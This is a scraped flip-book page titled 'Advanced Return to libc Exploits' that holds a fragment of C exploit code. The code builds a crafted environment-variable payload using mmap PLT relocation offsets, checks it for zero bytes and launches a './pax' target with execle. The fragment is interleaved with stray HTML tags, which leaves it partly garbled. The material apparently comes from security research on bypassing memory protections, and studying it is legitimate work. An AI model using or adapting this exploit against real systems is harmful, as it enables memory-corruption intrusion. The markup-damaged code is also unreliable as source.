23.07.2013 Views

Advanced Return to libc Exploits

Advanced Return to libc Exploits

Advanced Return to libc Exploits

SHOW MORE
SHOW LESS

Create successful ePaper yourself

Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.

}<br />

<br />

offse<strong>to</strong>f(struct ourbuf, mymmap) +<br />

offse<strong>to</strong>f(struct mmap_plt_args, reloc_offset) + 3, 7);<br />

strcpy(str, "STR=");<br />

memcpy(str + 4, &thebuf, sizeof(thebuf));<br />

str[4 + sizeof(thebuf)] = 0;<br />

if (sizeof(struct ourbuf) + 4 ><br />

strlen(str) + sizeof(thebuf.mmapname)) {<br />

fprintf(stderr,<br />

"Zeroes in the payload, sizeof=%d, len=%d, correct it !\n",<br />

sizeof(struct ourbuf) + 4, strlen(str));<br />

fprintf(stderr, "sizeof thebuf.mmapname=%d\n",<br />

sizeof(thebuf.mmapname));<br />

exit(1);<br />

}<br />

execle("./pax", "pax", 0, env, 0);<br />

return 1;

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!